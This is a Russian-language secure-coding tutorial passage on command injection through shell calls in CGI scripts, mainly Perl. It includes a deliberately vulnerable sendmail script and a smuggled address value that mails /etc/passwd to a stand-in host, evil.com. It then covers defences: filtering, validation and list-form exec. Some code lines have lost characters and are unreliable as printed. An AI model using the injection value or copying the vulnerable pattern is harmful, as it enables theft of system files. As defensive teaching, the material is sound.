Вызов внешних приложений с использованием командной оболочки.
Это частный и весьма популярный случай рассмотренной ранее передачи пользовательского ввода внешним приложениям. Если в процессе вызова внешней программы будет участвовать командная оболочка, то, можно воспользоваться ее управляющими символами, передав в пользовательском вводе ее команды, скомбинированные с символами-разделителями. Т.е. фактически выполнить на сервере любую команду.
У С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными являются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка "`". Аналогичные функции используются в php, в ASP же прямой аналог отсутствует - функция CreateObject, создающая объект автоматизации и в том числе служащая для вызова внешних приложений, избавлена от недостатка функций, использующих командную оболочку.
Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д.
Очевидный пример - отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого то запроса и т. п.):
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
$mailprog='| /usr/sbin/sendmail';
$address= $query >param('address');
$from='webmaster@somehost';
open (MAIL,"$mailprog $address");
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com </etc/passwd;
в результате чего выполнится команда /usr/sbin/sendmail hacker@evil.com;mail hacker@evil.com </etc/passwd; - явно не то, что мы ожидали.
При использовании sendmail избавиться от ошибки очень легко - достаточно применить ключ "-t", запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма:
...
$mailprog='| /usr/sbin/sendmail t';
open (MAIL,"$mailprog ");
print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;
Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много: <>|&;`'\"*$?~^()[]{}\n\r.
Кроме того, при вызове системных функций особо осторожно стоит работать с "нулевым" символом - \0. Дело в том, что для системных функций, написанных, как правило, на C, нулевой символ является признаком конца строки. Для Perl же нулевой символ вполне может оказаться частью строки. В итоге строка, которая проверяется perl-скриптом, и передается такой функции, может оказаться совсем не похожей на то, что получит функция.
Самое простое, что можно сделать, - удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида:
$metasymbols = "][<>\|&;`'\"*\$\?~\^(){}\n\r";
$string =~ s/[$metasymbols\\]//g;
Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть name@domain1.domain2, что чаще всего делается на Perl следующим образом:
die "Wrong address" if ($address !~ /^\w[\w\ .]*\@[\w\ .]+$/);
Здесь в начале и в конце строки ожидается один или несколько символов a z, A Z, 0 9, " ", "." и "@" внутри, причем " " или "." не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем нибудь типа ;@somewhere.ru.
Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду, и остальные аргументы - как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится:
вместо system "grep $pattern $files"; использовать system "grep", "$pattern", "$files";.
Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды " " мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or:
open (MAIL, "| ") or exec $mailprog, $address;
#open в родительском процессе возвращает ненулевое значение,
# и нет
#необходимости выполнять правую сторону or. Дочерний же процесс
#выполняет exec, после чего завершается.
print MAIL "From: $from\nSubject: Confirmation\n\n";
print MAIL "Your request was successfully received\n";
close MAIL;